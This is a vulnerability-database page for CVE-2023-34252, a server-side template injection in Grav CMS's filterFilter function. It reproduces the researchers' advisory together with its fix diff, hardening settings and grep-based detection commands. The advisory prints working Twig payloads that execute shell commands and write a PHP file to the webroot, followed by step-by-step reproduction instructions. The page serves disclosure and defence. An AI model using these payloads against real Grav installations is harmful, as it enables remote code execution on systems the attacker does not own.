# CVE-2023-34252: grav RCE — Fixed in 1.7.42

🐘

🐘 Packagist

Not in CISA KEV

HIGH severity

# CVE-2023-34252 — grav

HIGH [Fix: getgrav/grav@244758d](https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec)

CVE-2023-34252 is a high-severity (CVSS 8.8) CWE-184 vulnerability in getgrav/grav. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for getgrav/grav — see the affected versions and patch details below.

Grav Server-side Template Injection via Insufficient Validation in filterFilter

Also known as[GHSA-96xv-rmwj-6p9w](/vulnerability/GHSA-96xv-rmwj-6p9w)

Published

Jun 14, 2023

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

1 known

Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2023-34252.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

2.1%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs82th percentile — riskier than 82% of all scored CVEsHighest risk

1.57%1.91%2.24%2.57%2.1%2.1%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐘`getgrav/grav`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

## Description

Hi,

actually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.

## Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter

### Summary:

**Product**

Grav CMS

**Vendor**

Grav

**Severity**

High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution

**Affected Versions**

<= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing)

**Tested Versions**

v1.7.40

**Internal Identifier**

STAR-2023-0007

**CVE Identifier**

TBD

**CWE(s)**

CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

### CVSS3.1 Scoring System:

**Base Score:** 7.2 (High)  
**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

High

**User Interaction (UI)**

None

**Scope (S)**

Unchanged

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

High

### Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

### Vulnerability Summary:

There is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

### Vulnerability Details:

The vulnerability can be found in the `GravExtension.filterFilter()` function declared in [`/system/src/Grav/Common/Twig/Extension/GravExtension.php`](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698):

```
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...
    
    /**
     * Return a list of all filters.
     *
     * @return array
     */
    public function getFilters(): array
    {
        return [
            ...
            
            // Security fix
            new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
        ];
    }

    ...

    /**
     * @param Environment $env
     * @param array $array
     * @param callable|string $arrow
     * @return array|CallbackFilterIterator
     * @throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
        if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow); // [2]
    }
}
```

At \[1\], the `$arrow` parameter contains the argument supplied to the filter. For example, it may refer to `"funcname"` in `{{ array|filter("funcname") }}` or the closure (a.k.a. arrow function) `el => el != 'exclude'` in `{{ array|filter(el => el != 'exclude') }}`. Observe that `Utils::isDangerousFunction($arrow)` is only invoked if `$arrow` is a string. As such, non-string arguments may be passed to `twig_array_filter()` at \[2\] due to the absence of type enforcement at \[1\].

The implementation of the `twig_array_filter()` function can be found in [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) within Twig's codebase:

```
function twig_array_filter(Environment $env, $array, $arrow)
{
    if (!twig_test_iterable($array)) {
        throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
    }

    if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) { // [3]
        throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
    }

    if (\is_array($array)) {
        if (\PHP_VERSION_ID >= 50600) {
            return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [4]
        }

        return array_filter($array, $arrow);
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
```

At \[3\], a runtime error is thrown if `$arrow` is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when `$arrow` is not a closure. Subsequently at \[4\], `array_filter()` is invoked with the user-controlled `$array` input and `$arrow` parameter.

Note that the method signature of `array_filter()` is as follows:

```
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
```

A common mistake that developers make is assuming that the `callable` type refers to a `string` type. This is untrue, and it is [well documented in the PHP Manual](https://www.php.net/manual/en/language.types.callable.php):

> A method of an instantiated object is passed as an **array containing an object at index 0 and the method name at index 1**. Accessing protected and private methods from within a class is allowed. Static class methods can also be passed without instantiating an object of that class by either, **passing the class name instead of an object at index 0, or passing `ClassName::methodName`**.

This means that all of the following method calls are valid:

```
// Type 1: Simple callback -- invokes system("id")
array_filter(array("id"), "system");

// Type 2: Static class method call -- invokes Class::staticMethod($arg)
array_filter(array($arg), array("Class", "staticMethod"));
array_filter(array($arg), array("Class::staticMethod")); // same as above

// Type 3: Object method call -- invokes $obj->method($arg)
array_filter(array($arg), array($obj, "method"));
```

Going back to \[1\], if `$arrow` is an `array` instead of a `string` or `closure`, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:

```
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}

// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler'])}}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) }}

// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:
{{ (['rce.php'] | map(['\\RocketTheme\\Toolbox\\File\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}

// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"):
{{ {'/':'sleep 3'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}
```

### Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

1.  an administrator account, or
2.  a non-administrator, user account that are granted the following permissions:
    -   login access to Grav admin panel, and
    -   page creation or update rights

### Reproduction Steps:

1.  Log in to Grav Admin using an administrator account.
2.  Navigate to `Accounts > Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:
    -   Login to Admin - Allowed
    -   Page Update - Allowed
3.  Log out of Grav Admin, and log back in using the account created in step 2.
4.  Navigate to `http://<grav_installation>/admin/pages/home`.
5.  Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.
6.  Under the `Content` tab, insert the following payload within the editor:
    
    ```
    // Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
    {% set id = {'id': 0} %}
    {{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
    ```
    
7.  Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.

### Suggested Mitigations:

Patch the logic flaw in the `GravExtension.filterFilter()` function declared in `/system/src/Grav/Common/Twig/Extension/GravExtension.php` to ensure that the `$arrow` paramater passed to the `filterFilter()` function must either be a `string` or an arrow function as such:

```
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...

    /**
     * @param Environment $env
     * @param array $array
     * @param callable|string $arrow
     * @return array|CallbackFilterIterator
     * @throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
-       if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow);
    }
}
```

`Utils::isDangerousFunction()` in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to prevent static class methods from being invoked. For example,

```
...
abstract class Utils
{
    ...
    /**
     * @param string $name
     * @return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        ...

+       if (is_array($name) || strpos($name, ":") !== false) {
+           return false;
+       }

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }
    ...
}
```

End users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

### Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

1.  Searching within Markdown pages using the following shell command:  
    `grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/`
2.  Searching within Doctrine cache data using the following shell command:  
    `grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/`
3.  Searching within Twig cache using the following shell command:  
    `grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/`
4.  Searching within compiled Twig template files using the following shell command:  
    `grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/`

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

### Credits:

Ngo Wei Lin ([@Creastery](https://twitter.com/Creastery)) & Wang Hengyue ([@w\_hy\_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs\_sg](https://twitter.com/starlabs_sg))

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:

1.  **CVE-2023-30595** Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐘Packagist

`getgrav/grav` 

all versions

1.7.42`composer require getgrav/grav:^1.7.42`

## Affected Products

1 product · 1 configurations

Application

`grav`getgrav

< 1.7.42

range

Exploits & PoCs

1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

[

Grav is a file-based Web platform. Prior to version 1.7.42, there is a l…

github.comNVDJun 2023

](https://github.com/getgrav/grav/security/advisories/GHSA-96xv-rmwj-6p9w)

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update getgrav/grav to 1.7.42 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-34252 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
    

## Frequently Asked Questions

Hi, actually we have sent the bug report to \[security@getgrav.org\](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023. # Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter ## Summary: | \*\*Product\*\* | Grav CMS | | ----------------------- | --------------------------------------------- | | \*\*Vendor\*\* | Grav | | \*\*Severity\*\* | High - Users with login access to Grav Admin panel and page creation/update permissions are able to

O3 Security · Impact-Aware SCA

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